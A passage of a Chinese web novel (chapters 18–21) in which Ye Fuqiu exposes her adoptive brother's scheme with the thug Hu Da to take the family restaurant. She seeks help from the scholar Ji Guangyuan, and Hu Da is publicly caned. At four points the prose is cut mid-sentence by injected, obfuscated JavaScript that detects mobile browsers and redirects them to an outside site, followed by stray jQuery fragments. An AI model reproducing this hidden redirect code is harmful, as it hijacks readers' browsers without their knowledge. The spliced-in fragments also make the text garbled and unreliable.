世上有季家夫妇这样的好人，就有胡大这般的恶棍。 自打叶家出了顾宴苏这个县案首，又办了连庆十天的活动，眼见着生意是越来越好，胡大几人也愈发眼红。 许是觉得再不动手就更没机会，叶记庆贺活动一结束，胡大就带着打手来了。 这回他们没打砸，可一群人带着棍棒凶神恶煞往店门口一坐，哪还有客人再敢上门。 朝食一天统共就那几个时辰能卖，被他们这一闹，一连五日，叶记再没成过生意。 不是没试过报官，可管刑狱的胡典史是胡大亲叔叔，胡大又是县令的小舅子，官差假模假样来了又走了，左一个“没哪条律令规定不准人在店门口坐着”，右一个“再乱报官小心挨板子”，全然助纣为虐根本不管百姓死活。 县衙里唯一正派些的刘班头想管却有心无力，人微言轻违抗不了胡典史的命令，还反被胡大嘲讽无能。 叶父一开始还自我安慰胡大几人坐不了几天，自家熬上几天便是，可就算人能熬，店里新鲜食材却等不得，眼见库里食材见天的扔了不少，叶父心疼得不得了，成天在店里愁眉苦脸：“这样下去可如何是好？” 叶小宝在一旁撺掇：“生意反正也做不成，爹你就把店卖了呗！” 若说叶家谁最不乐见叶记生意好，当属叶小宝本人，见叶记借着案首的名头生意越来越好，叶家父母对顾宴苏态度也愈发亲近，相比之下叶小宝的待遇却调了个儿。 不仅养母不给他钱花，成天还要被迫着做那些粗活，苦的叶小宝饭都吃不香了，更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116564|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加向往起生父给他的许诺。 生父马四告诉他，胡大说了，只要他能帮忙搞到叶记的房契，赚的钱就分他五成，以后离了叶家跟着胡大马四一起混，保管在越城吃香喝辣。 叶父听了他的话先是拒绝：“不成，这是祖产！” 叶小宝却劝：“祖产又怎么样，难道全家人抱着房契饿死吗？爹怎么不想想，饭馆卖出去得了现银，咱家还能做别的买卖，总比在这熬死了强。” “爹你就听我的把饭馆卖了，我还能害你不成？姐姐以后迟早要嫁出去，顾宴苏又是个外人，谁都指不上，只有我，我才是能继承叶家香火的人啊！” 他语气里藏着浓浓怨怼，却包装成一副大义凛然的样子，叶扶秋在门外听了半天，闻言只想吐，不等叶父回答，就推开门对叶小宝冷漠道：“叶小宝，我劝你趁早死了这条心，别想打房契的主意。” “你怎么在这！”叶小宝含羞带怨地瞪过来，刺猬一般骂道，“你个女人家懂什么，少管大老爷们的事！” “爷们？”叶扶秋挑眉讥笑出声，眼神似有若无在他身下扫了几眼，“毛长齐了吗你？” 叶小宝被看得心头火起，尖叫起来：“不知廉耻！” “到底是谁不知廉耻？”叶扶秋狠狠一拍桌子“砰”的一下把屋里两人吓了一跳，她厉声道，“就是养一条狗这十几年也该养熟了，叶家养你这十几年，爹娘何曾亏待过你？” “至于要这样胳膊肘子往外拐，盼不得家里一点好？！”叶扶秋越说越气，“这些年爹娘对你这养子可比对我这个亲女儿更好，你这白眼狼却一心盼着叶家垮掉，世上怎会有你这般狼心狗肺的畜生！” 此话一出父子二人面色大变，叶小宝并非亲生的事叶父叶母一直瞒着，叶父是怕孩子知道了伤心，叶小宝却是揣着明白装糊涂，当真相头一次被摆到明面上，屋里气氛顿时陷入难言的尴尬。 “你、你胡说什么！”叶小宝装出一副不知情的样子，涨红的脸却带着欲盖弥彰的味道，“我都是一心为了家里好！” “那你为何三番五次向着胡大他们说话？若让胡大得了饭馆，你真以为你能从中得到好处？” “用过的棋子，不过累赘弃子而已，那马四从前能抛弃你一次，就能再抛弃你第二次，可笑你以为的承诺终究会是一场空！” “离了叶家，你就只是没人要的弃儿，可笑你竟敢信了恶霸和赌棍的鬼话！” “你怎么知道？！”叶小宝瞪大眼睛顿时破防，下意识叫出声，又紧接着反应过来赶紧找补，“不是——我没有你胡说！” “我是不是胡说你心里清楚。”叶扶秋说完转头看向叶父，恳切道，“事实与否相信父亲自有判断，可叶记饭馆绝不可卖给那帮混蛋。” 叶父还有些发懵，两眼直直地看了一双儿女好半晌，才有些犹豫地问道：“秋儿方才说的那些，可是真的？” 18. 白眼狼 “小宝早知道自己不是亲生的了？” 叶父犹豫半天，结果最后问出来竟是这种问题，叶扶秋看着他直愣愣的样子一时间气笑了：“是啊，可爹您关心的竟只有这种事情？” 叶父却像是慢了半拍终于反应过来似的，脸色慢慢涨红，眉毛扬起，忽然站起来冲到叶小宝面前狠狠打了他一耳光：“你这白眼狼！” 他这一巴掌用了很大力气，叶小宝被打的后退两步，难以置信地捂住脸瞪大了眼睛。 叶扶秋也被他这大喘气吓了一跳，只见叶父指着叶小宝喘着粗气：“老子何时对不起你了？” 叶小宝挨了这巴掌，心头火直冲上头，闻言顿时不管不顾对着养父大叫起来：“少假惺惺了！” 他像是终于藏不住心中的不满，彻底扯下了伪装的面皮，大吼一声：“你真以为自己是慈父啊？这么多年我们几个孩子你管过谁，想起来逗弄一下，想不起来就不管不顾，成天泡在那破饭馆里做春秋大梦，生意都要黄了还在那充好人！” “逞强把姓顾的接过来结果你管过吗，现在人家出息了你知道怪我了？觉得养子不如外人好了？” 叶小宝握着拳头一通乱喊，浓烈的嫉妒不甘和恶意喷薄而出，连愤怒的叶父都被他震住，一时间举起的拳头顿在半空。 叶父气得说不出话，指着他“你”了半天，最终只能从身边抄起瓷杯冲他砸了过去，“砰”一下巨响碎瓷片摔的满地都是。 这边巨大的争吵声终于引来了叶母，姗姗来迟的女人看到屋里剑拔弩张的气氛吓了一跳，下意识站到叶小宝面前要护着他：“做什么有话好好说，别打孩子！” 叶父却像找着出气筒似的：“你惯出来的好儿子，不是我的种果然不行！” 叶母莫名其妙挨了一句训，闻言也火了：“青天白日的你又在发什么疯？” “你问他！这养不熟的东西，敢怪起老子来了！” 叶父还在气头上，叶母板着脸回头看叶小宝时声音却缓和下来：“小宝别怕，跟娘说怎么了？” 而叶小宝是个窝里横，对家里唯一向着她的叶母也不假辞色，冷嘲热讽道：“我可是好意，叶记这破饭馆是个烫手山芋，我劝他早点卖给胡大有什么错！” 叶父听了恼地抄起脚下布鞋就要过来抽他：“你这王八羔子，还在向着别人说话！” “我是王八羔子，那你就是千年老王八！”叶小宝分毫不让地回嘴道。 叶母听得糊里糊涂，“哎哎”叫着拦下叶父，“这都什么和什么呀！” “一家人不说两家话，你们爷俩都冷静冷静！” 眼见屋里乱成了一锅粥，叶扶秋揉了揉眉心，忽然一声大喝：“够了！” 纠缠在一起的三人安静一瞬，便听叶扶秋皱着眉对叶母道：“娘，您还没发觉吗，叶小宝早知道他不是叶家亲子了。” 叶母一愣：“什么？” “他和生父马四还有胡大串通一气，要骗走咱家饭馆！” “不会吧，秋儿是不是误会了什么……”叶母不安地看了叶小宝一眼，看见他自暴自弃像是默认般的表情顿时噎住，她颤着声音，“小宝，姐姐说的不是真的吧？” 那层窗户纸既已被叶扶秋揭破，叶小宝也不屑再装他的好儿子，只冷哼一声：“怎么叫骗，这可是为你们叶家着想，现在卖了饭馆，以后还有退路可言，要是彻底得罪了胡大哥，没有你们好果子吃！” 他话里话外，竟是分明要跟叶家割席！ “你滚！我没有你这个儿子！”叶父大吼。 叶母怔怔看着自己从小宠到大的养子，像看到一个陌生人般，简直不敢相信自己的眼睛。 “谁稀罕做你儿子，”叶小宝冷笑，“没有我继承香火，你就带着你的破饭馆，断子绝孙去吧！” 叶父像是被戳中了死穴一般，本就愤怒的情绪更加爆炸，他气的不是叶小宝打叶记饭馆的主意，而是自己竟帮别人养了儿子，只觉遭到重重背叛，辛苦半生竟为别人做了嫁衣！ 叶小宝咒骂的正是他最深的恐惧，也是他这些年最害怕的事情。 他闻言勃然大怒：“滚！快滚出我的家！” 叶小宝压着恼火，还不死心问道：“老头子，我最后再问你一句，这饭馆你给是不给？” “滚滚滚！”叶父抄起扫帚冲他打过去，“滚去找你亲爹去！” 竟连摔带打硬把他赶出了叶家大门。 叶扶秋和叶母追了过去，叶记饭馆同家里住处是连在一块的，因而出了大门就是饭馆。店门口胡大几人还没走，正好瞧见屋里吵吵嚷嚷和提着扫帚追出来的叶父和叶小宝，众人面面相觑，全都吃了一惊。 山羊胡马四皱着眉头看向叶小宝，心里涌出不妙的预感，果然下一秒便见叶小宝冲他叫了一声：“爹！” 胡大愕然看过来，马四眉头锁死，冲叶小宝低声吼了一句：“你过来做甚！” 叶小宝睁大了眼，飞奔过去的脚步滞住，不等他说什么就听见身后叶父怒骂：“你就是这白眼狼的生父？” “混账东西，我告诉你，休想从我手上拿走叶记！” 显然是知道了几人的阴谋，马四便也不再装，吞了只苍蝇般横了叶小宝一眼，没好气道：“过来吧，没用的东西。” 心心念念回到生父身边过好日子的叶小宝隐约发觉不对，马四这态度和先前哄他骗取饭馆时截然不同，可木已成舟，叶家显然不会再接纳他，他吞了口吐沫，只能硬着头皮站到马四身边。 见事情败露，胡大也撕破嘴脸，狞笑道：“叶显宗，我劝你不要不识抬举，人还是识时务点好。” 叶父被他狰狞的表情吓得头皮发麻，可妻女就在身后，他拄着扫帚强撑着脸色：“我就不信天底下没有王法，这店是我的，你还能强夺去不成！” 房契地契被叶家人藏得好好的，没有契据，胡大就不能光明正大占了叶家的产业。 胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122485|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大阴沉着脸，叶父虽然无能，可这话却没说错，他县令姐夫再怎么纵着他，也不至于就能让他光明正大把店拿走。 本想靠叶小宝暗中拿到房契，却没料到这是个废物，处心积虑这么久，也没能骗出来，还被人扫地出门了！想到这，他恨恨瞪了人一眼，吓得叶小宝直哆嗦。 “信不信老子有一万种方法弄死你？”胡大指着叶父鼻子，“爷有的是时间陪你耗，硬气是吧？行，我等着你跪下来把房契双手奉上那天！” “撤！” 说完狠话，胡大带着人浩浩荡荡走了，叶小宝亦步亦趋跟在后面，还不忘回头冲叶家人龇牙无声说了句“你们等着！”。 等人走光叶家关上大门，叶父如丧考妣瘫坐下来，叶母也抹着眼泪，难以消化今天发生的事情。 “小宝他、他怎么会——” “别提那白眼狼了！” 叶父赤红着眼睛一声大吼，叶母眼泪哗哗直淌，叶扶秋心里直叹气。 叶小宝这颗定时炸弹终于爆了，对她倒是件好事，至少从此以后不用再担心来自家庭内部的暗箭。 思及此，她安慰道：“爹娘别难受了，那混账本就是个养不熟的，就当咱被狗咬了一口，往后同他断绝关系，就让他和他那赌棍爹混去吧！” 叶母哭哭啼啼：“秋儿，娘这心里难受，娘这些年对他那么真心……” 叶扶秋心里腹诽，是够真心，对养子比对原主这个亲女儿还好。 她抱了抱叶母：“是他不配受娘的真心，别难过了，家里还有女儿在，天塌不了。” 叶父一边生闷气，一边担心胡大的威胁，联想到顾兄弟夫妇二人的下场，心中顿生寒意，恍惚间竟真生出妥协的想法。 他看着年纪不大却始终镇定如一的女儿，想起近来她那些可靠的举动，不由自主试探着问她：“秋儿觉得我们接下来怎么办，要不、要不就把饭馆卖了？” 想起方才在胡大面前说的大话，他心里直发虚，冷静下来满身都是惶恐。 家里两个大人都没了主心骨似的，叶扶秋叹了口气耐心道：“使不得，若真卖了饭馆，咱们手里就再没有资本，到时只能任人搓圆捏扁，那是把刀子亲手递给别人，自寻死路。” “可胡大这般纠缠下去，生意也没法做。” “爹爹莫慌，胡大有靠山，我们却也不是毫无依仗。” “你是说……” 叶扶秋点点头：“我们可以去寻季先生帮忙。” “那种大人物，人家能帮忙吗？”叶父担忧。 “季先生人品贵重，又收了顾宴苏做学生，不会坐视不管的，爹爹不必担心，明日我就去上门拜访。” 叶扶秋自告奋勇揽下了此事。 前些天季先生终于从县衙搬出，寻了新院子住下，顾宴苏每日上门求学，因而错过了胡大闹事的情形，等他从先生府上散学回来，便敏锐察觉到了叶家不同寻常的氛围：“怎么回事？” 19. 山楂酪 叶扶秋耸了耸肩：“胡大又来闹事，叶小宝撺掇着爹贱卖饭馆被我揭穿，他就干脆同叶家一刀两断，投奔他亲爹去了。” 顾宴苏眼底划过一丝讶异，前世叶小宝自始至终不曾暴露身份，如今却大不相同了。 他幽暗的眼睛定定瞧着叶扶秋，深沉的心思不曾暴露半分，只试探地问：“那你有何打算？” 叶扶秋摸着下巴：“所谓一物降一物，胡大有县令，我们有季先生帮忙，等下——” 她说着狐疑地看了顾宴苏一眼：“你不会跟季先生吹耳旁风不许他帮我们吧。”越想越不对劲，一饭之缘哪抵得过人家师徒情深，顾宴苏要是还记恨着叶家，不落井下石都算不错了，怎会同意求师父帮忙？ 她一边脑补一边露出一种“想不到你是这种小心眼”的不可置信眼神，顾宴苏被她看得莫名其妙，直觉这女人在想些奇怪的东西。 他立刻冷淡开口：“何时去寻先生？我同你一起。” 叶扶秋乱七八糟的想法一收，惊喜道：“你愿意帮忙？” “莫要误会，”他避开叶扶秋灼热的视线，低声道，“胡大同我有血海深仇，我只是见不得他猖狂。” 叶扶秋才不在意这些，顾宴苏愿意帮忙再好不过，她想了想道：“今天我先做些点心，明天等你去季府时我和你一道带过去，这样也不耽误你功课。” 她一副自己很贴心的邀功摸样，看得顾宴苏嘴角不自觉上扬几分，他轻咳一声，应了个“好”。 …… 先前送的茯苓八珍糕季老夫人很是喜欢，叶扶秋便准备再做些点心，糕点内容也是早想好的，这回攒了个四格的食盒，包管谁都挑不出刺。 小厨房里蒸汽缭绕，叶扶秋从蒸锅里取出蒸好的铁棍山药，捣成泥再团成一个个小球，里头包上提前炖好的莲蓉陷，再一起放进汆过水的完整百合中去，一朵朵“白莲”便跃然手上。 最后点缀上一颗红通通的枸杞，漂亮的莲花山药盏便被叶扶秋放进了食盒。山药莲子补脾安神，合在一起更是滋补的佳品，想来季夫人一定喜欢。 除此之外还有四神小米酥、冰糖山楂酪以及她配好的玫瑰佛手柑茶包，都是些健脾益胃的方子，叶扶秋附了一张花笺，写上点心的名字和功效，字是顾宴苏帮着写的，劲瘦的小楷，简明扼要。 第二天两人一道，早早去了季府，顾宴苏先去寻先生讨教功课，叶扶秋则带着点心去后院寻季老夫人。 老夫人看着她手里精致的锦盒，欢喜地接过来：“这几天我胃口已经大好，那茯苓糕起了大作用，我还寻思要差人告诉你一声，没想到又叫你这丫头费心了。” “给师娘做点心，费心算什么。总吃一种容易腻，您快尝尝我新做这几样。” 叶扶秋一一介绍：“我先给您泡杯玫瑰佛手柑茶开胃，玫瑰和佛手都是好东西，能疏肝理气、清心抒怀。” 叶扶秋找季府随从要了茶壶和热水亲自冲泡，片刻后，暗红色的玫瑰和佛手柑片便在水中舒展，她将杯子递过去：“您试试，小心烫。” 老夫人捧着杯子轻嗅，清透微红的茶汤散发着清郁的芬芳，待温度降下来喝上一口，入口是淡淡的花香，口感柔润，味道微甜，喝完感觉肠胃都暖了起来。 “好像有丝甜味？” “是，里面放了冰糖，可以中和佛手的微苦。” 见老人喜欢，叶扶秋又道：“茶得现泡，所以我给您配好了几套干料，以后想喝倒上热水随时能喝。” “小秋儿真是贴心。”老夫人笑眯眯地，“这茶喝得我胃口大开，快介绍介绍其他几样。” “遵命！”叶扶秋讨趣地行了个礼，逗得老夫人笑容又深了几分，才指着食盒继续道：“您试试这道四神小米酥，这方子可是我家不传之密，有着健脾、助消化的作用。” “呦，这么厉害？我可得尝尝。” 老夫人用帕子擦擦手，取了一块，烘烤成金黄色的块状小饼入口酥香焦脆，能尝到小米的清香。 “四神”是中医有名的养胃方子，取茯苓、莲子、山药和芡实几种料子磨成粉，再混合小米粉和蜂蜜，制成小饼烘烤出来，便成了现在这样的可口酥点。 “脆甜脆甜的！”老夫人惊喜地吃完一块，小米酥烘烤地恰到好处，不会太硬，十分适口。 “您再试试这莲花山药盏，是用百合山药和莲蓉做的。” 这是食盒里最精致的一款，纵然季老夫人见多识广，也没见过这般的点心，她取出一块简直爱不释手，百合做成的莲花花瓣晶莹剔透，栩栩如生真像白莲一般！ 轻轻咬上一口，外面百合粉糯，带着淡淡的甜香，里面淮山包裹着莲蓉，甜而不腻，轻轻一抿就在口中化开，丰富的口感让她欣喜不已。 “好吃好吃，我喜欢这个。” 季老夫人闭上眼，细细品味着口中的美好滋味，只觉每一颗味蕾都被满足。 这样一轮吃下来，老人家几乎都忘了，不久前她还是个“没口福”的老人胃。 “最后咱们再来份冰糖山楂酪收尾，山楂助消化，今天点心用得多，您尝尝这个解腻。” 切成菱形的山楂糕瞧着光滑透亮，红色的外表看得人很有食欲，咬一口冰凉酸甜，爽滑又细腻。 “果真是解腻。” 叶扶秋不说，老夫人都没觉出腻，直到吃了山楂糕，才发现这酸甜清爽的新奇口感与前头几样截然不同，她说不出哪样点心最好吃，只觉得每样都有每样的好，哪个也割舍不了。 叶扶秋听了她的评价也很满足，少女眼睛弯弯：“您喜欢就好。” 厨子最高兴的莫过于做出来的东西被人喜欢，叶扶秋当然也不例外。 老人家吃得心满意足，两人话了会家常，叶扶秋适当露出几分忧色，惹得老人连问她怎么了。 叶扶秋推拒了几下，才说：“本不想同师娘说的，怕您听见坏了心情，只是现下家里确实困难，我也没别的法子，只能厚着脸皮求到您这来。” “怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133866|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么了这是？”季老夫人头一回看到少女明媚的脸上露出苦恼，“好孩子，说给师娘听听。” 叶扶秋便把家里遭到胡大威胁的事同她说了，还把叶小宝的事也照实说了，老夫人听得勃然大怒，她可不是叶家父母那般重男轻女的人物，听着叶扶秋的诉苦只觉这养弟是狼心狗肺、猪狗不如。 “别怕，师娘带你去找人。” 说完，便风风火火带着叶扶秋去找季光源，往书房去的时候正巧碰到季顾师徒二人正往外走，老夫人大着嗓门立刻道：“季老头，徒媳妇有难，你管不管？” “嗯？！” “？” “什——不是！” 老夫人一个称呼炸出来三声惊呼，她疑惑地看向三人：“怎么了？” 叶扶秋抢在所有人面前，挠着后脑急切解释：“师娘误会了，我和顾宴苏不是那种关系。” “哦，我还以为……” 老夫人爽朗一笑：“嗐，我瞧你俩郎才女貌的，还以为是一对呢，可惜了。” 叶扶秋没觉得哪里可惜，只尴尬地看了看顾宴苏，她看男主跟看儿子似的，按照年龄他可还是初中生呢，光想想都觉得是犯罪。 少年板着脸，看不出喜怒，她赶紧岔开话题：“咱们还是说正事吧。” 老夫人这才回过神：“季老头你可得帮帮小秋儿，要不是她费心帮我调养，我如今身子恐怕就不好了。” 她说起叶扶秋的困难，季先生刚听了两句就捋着胡子摆摆手：“老夫知道了。” “小苏方才已和我说过了，”他温和表情里透出寒意，“越城竟有如此胆大妄为之人，若不是县令包庇，他哪来的胆子！” “莫急，我们现在就去县衙。” 说罢，带着叶顾两人就去了县衙。 三人在待客的正厅里，坐了没一会儿，县令杨承恩就慌慌张张进来了，见到季光源连忙挤出笑容奉承道：“是哪阵风竟把您给吹来了，下官可得谢谢它，让我这县衙蓬荜生辉啊。” 季先生冷着脸：“不敢当，杨县令，听说你们县里有本事的人，不少啊？” 杨县令听着不妙，陪笑道：“这……下官没听明白，还请季先生明示。” “砰！”季先生一拍桌子，“县试放榜那日在案首之家闹事的人，是你亲朋不是？” 杨县令回忆起当日的场景，脸色骤变，胡大？ 他那不成器的小舅子又给他招惹麻烦了？ 杨县令不敢不认，挤着笑脸问：“他——实不相瞒，那是内子不成器的弟弟，是我管教不严，可是他又闹了什么事？” “光天化日朗朗乾坤，竟敢做出强夺百姓家产的事来，杨县令啊杨县令，莫不是你指示的不成？” “绝无此事！”杨县令吓得冷汗直冒，季光源如今虽无官职，可他门生旧部遍布朝野，哪是他一个小小县令得罪的起的？ 想到这，他指天发誓：“下官爱民如子，定不会纵人行凶，我这就叫人喊他过来问话！” 20. 恶有恶报 杨县令招来亲随去找胡大，又亲自奉了茶给季光源：“先生消消气，这事既然让本官知道了，我定然要查个水落石出，绝不让治下百姓失望。” 他冠冕堂皇指天一通发誓，简直说得他自己都要信了。 季先生表情淡然，不知信了没有，端着茶盏吹了一口，才缓缓道：“好，相信杨县令不会让老夫失望。” 叶扶秋陪坐在一旁，暗暗思考。 常言道“破家县令，灭门刺史”，原著里杨承恩不过一个小小县令，却能在治下一手遮天，只是这一回阴差阳错，原本不该在越城久留的大儒季光源却成了制衡他的天敌。 她看着杨承恩连连擦汗，绞尽脑汁寻话题陪季先生打发时间，如同老鼠见猫的模样着实想笑。 半柱香时间过去，胡大杳无音信，杨县令又催了几趟，才有人来报：“大人，胡大说、说他在忙，不……” 杨县令等不来人交差，急得大骂：“你这杀才，吞吞吐吐做什么，快说！” “胡大说他在忙不愿过来，叫大人等着。” “好大的胆子！”杨县令大怒，“他忙？能比我这个县令还忙？好啊，我倒要去看看他到底在忙些什么！” 他义愤填膺起身对季先生道：“还请先生在县衙小坐，下官亲自去抓他回来！” 季光源似笑非笑：“不必，我与你同去。” “啊？这、这不好吧，怎好劳烦先生大驾。” “无妨，老夫还没老到那份上。” “这……这……” “走吧，带路。” 劝说无效，杨县令只好乖乖带路，心里则把胡大骂了一万遍。 四人同坐一辆马车，杨县令和季先生一人一边，两个小的挨坐在一起，狭窄的马车里氛围尴尬，叶扶秋悄悄戳了戳顾宴苏，对他耳语道：“你猜，马车会在哪停下？我打赌会停在叶记门口。” 顾宴苏正垂眸静静看着衣摆，忽然间灼热的鼻息在他耳边吹拂，他微不可查的颤了一下，身体后靠，又很快止住动作，缓慢侧头，没说话，但轻轻点了点头。 见顾宴苏不理她，叶扶秋无聊地收回视线，车里安安静静，她便也不再开口，只百无聊赖的玩着手指。 过了会，马车停下，掀开车帘，果然见到熟悉的地点，叶扶秋深吸口气：到家了。 刚下马车，就听到叶记门口争执的声音，胡大带着人正在大闹：“姓叶的，我已经给够你时间了，看来你这老匹夫是不见棺材不落泪啊！” “弟兄们，给我砸！” 混混们一呼百应，抄起家伙就要打砸，嘈杂中杨县令简直目眦欲裂，眼见当着季光源的面要让胡大砸了百姓生意，他这当姐夫的岂能逃得了干系？！ “我看谁敢！”杨承恩一声爆喝，“拦住他们！” 手下衙役便一拥而上围住胡大几人，夺了武器将他们按倒在地，杨承恩心急火燎冲了过去。 胡大本还在恼怒着高喊“我姐夫是县令你们谁敢动我”，下一秒就见到县令姐夫本人，到他面前狠狠踹了他一脚！ “你这刁民，安敢当着季先生的面动粗！” 杨承恩疯狂给胡大使着眼色，胡大先是一怒，再是一惊，最终缄默，任衙役胆战心惊按住他。 惊魂未定的叶父见到县令抓人，心头一阵愕然，先前胡大可是信誓旦旦说他有县令撑腰，怎么忽然两极反转，自家人打了自家人？ 杨承恩朝他招招手，故作和蔼地问：“你就是苦主？莫怕，我乃越县父母官，此人已被制服，往后不会再来了。” 胡大闹事时，周遭其实围了不少百姓，都躲得远远的看热闹，现在见到歹人被按住，纷纷涌上来，窃窃私语指指点点。 “呦，太阳打东边升起了，县老爷都出来管事了。” “可不是嘛，这胡大不是听说是县令小舅子吗，怎么也给按住了？” “听说是因为最近有大人物来越城。” …… 众人窃窃私语议论纷纷，杨承恩脸上挂不住，强忍着不耐，冲围观百姓摆摆手：“都散了散了，没什么好看的。” 又示意几个衙役驱赶人群。 杨县令想息事宁人，叶扶秋却不想让他如愿，她抢先一步走到县令面前：“大人，民女有告。” 杨承恩知道她是叶家人，心里极尽不耐，可季先生就在一旁看着，只得放柔声音问她：“有何冤情？本官听着，你大胆说。” “大人，小女一家都是善良本分的生意人，可这胡大无故寻衅，屡次骚扰，还要强夺我家祖产，请问大人，此人该当何罪？” 杨承恩磨着牙：“本官不是都把他们抓起来了，他们以后不会再来了。” “这混账从前做的恶事，难道就要我们作罢吗？” 叶父见着女儿说话，忍不住也探头顶了一句，县令闻言恶狠狠看过来，却又吓得他缩回了脖子。 “那你究竟想要本官如何？” 叶扶秋张了张嘴，憋回去那句“寻衅滋事，五年以上十年以下”，现代法律她熟，可放到如今这朝代该怎么判，她还真有点迷茫。 似乎看出她的窘迫，一直默不作声的顾宴苏忽然上前一步，对杨县令躬身一礼：“大人，我朝刑律有言，寻衅滋事，扰乱市廛，杖一百。” 杨承恩和胡大一起僵住了，半晌，才从牙缝里挤出句：“顾案首对刑律很是熟悉啊，真是后生可畏。” “不过这一百杖怕是量刑过重，恐怕有伤人和啊，不如……不如就打二十——” “嗯？我记得这条刑律的下限是杖六十，莫非是老夫年老力衰，记错了？” 安静许久的季先生忽然开口，惊得杨承恩一抖，连忙改口：“没记错没记错，那就判他杖六十，来人，将胡大枷号示众。” “姐夫！你不能——唔！” “把他嘴堵上！” 杨县令不敢回头，只能一脸牙疼的对季先生陪笑道：“下官已将此人惩治了，您还满意吗？” 季先生似笑非笑哼了一声：“杨县令，刑律不是只为达官贵人服务的工具，你是本地父母官，应当比我更懂该让谁满意。” “行了，老夫年纪大精神差，后面的热闹就不看了，回府。” “哎！好好好，我差人送您回去。” 杨承恩汗流浃背安排好人手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138210|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，终于送走了季光源这尊大佛，身后胡大已被按着开始行刑，他不敢阳奉阴违收回处罚，又不愿意留下监刑，只能低声交代别打太重，便灰溜溜带着几个衙役先回县衙了。 叶记门口围了一圈人看热闹，往常有人挨板子都是在衙门，这可是头一回看到在大街上当众行刑的，被打的还是那臭名昭著的混混胡大，百姓们唾声一片：“打得好！” 胡大被按伏在地上，“啪”、“啪”、“啪”，水火棍狠狠敲在后背，他扯着嗓子大声嚎痛，他那些小弟们也没逃得了，鬼哭狼嚎的声音混在一块颇具喜剧效果。 “磕瓜子吗？” 叶扶秋忽然不知道从哪掏了一大包瓜子出来，在人群里挨个散起来：“别客气随便抓，今天可是叶记大喜之日，瓜子免费吃。” 要不是时令不对，她甚至想发点西瓜，叫胡大知道什么是吃瓜群众的力量，不过没关系，“瓜子”也是瓜，她散的越多，围观的人也越多，很快半个县城的人都知道胡大在叶记门口挨大刑了。 她美滋滋磕着瓜子看胡大挨打，还不忘抓了一把递给顾宴苏：“来点瓜子不？” 顾宴苏：…… 摇摇头，少年问她：“你哪来的瓜子？” 叶扶秋下巴一抬，指指边上脸黑黑的乞儿小六：“我喊小六帮忙买的，炒货店就在隔壁，快得很。” 她咔吧咔吧磕个不停，别说，这家炒货店的瓜子味道还真不错，瓜子壳乌黑油亮，刚炒出来还带着暖呼呼的焦香，“咔”一下咬开，淡淡的盐味恰到好处，坚果特有的油润在口中化开，嚼着越来越香，叫人吃得停不下来。 配着恶人挨打的热闹，大家吃得更香了。 一大兜子瓜子很快分完，叶扶秋又派小六再去买点，结果人很快就回来了，她还想问怎么这么快，就看到炒货店老板乐乐呵呵抱了一大袋瓜子过来：“小老板，今天真是大快人心，剩下这些瓜子半价全卖给你。” 原来炒货店老板也受过胡大欺压，乐得大家一起看胡大的热闹。 “砰砰砰”木棍敲击□□的钝响终于结束，六十杖，就算行刑人按照县令的吩咐没下死手，也几乎要了胡大半条命，可以预见接下来许久，他都无法出来生事了。 叶扶秋居高临下站到胡大面前，他试图抬头瞪叶扶秋，却连抬头的力气都没有了。 叶扶秋“啧”了一声：“真是狼狈啊，胡老大？” 胡大痛得连说话的力气都没有，只能死狗一般垂着头，气得浑身血液直往头上冲：“你死……嘶……” 叶扶秋蹲下来看着他，歪头故作天真道：“胡老大在说什么呢？在说自己的命运吗？” 她声音忽然低了几分，用只有胡大一人能听见的声音说：“叶家的仇我已报了，顾家的仇却还没完，胡大啊胡大，你且等着吧，你后悔的那天已经很近了……” 胡大瞪大眼，嗓子呼哧呼哧滚动似乎想说些什么，可没等他说出话，就直接气晕了过去。 叶扶秋耸耸肩站起来，转身却被面前站着的顾宴苏吓了一跳：“你什么时候过来的！” 少年不知在那看了她多久，此刻眼神复杂：“你……” 21. 家丑外扬 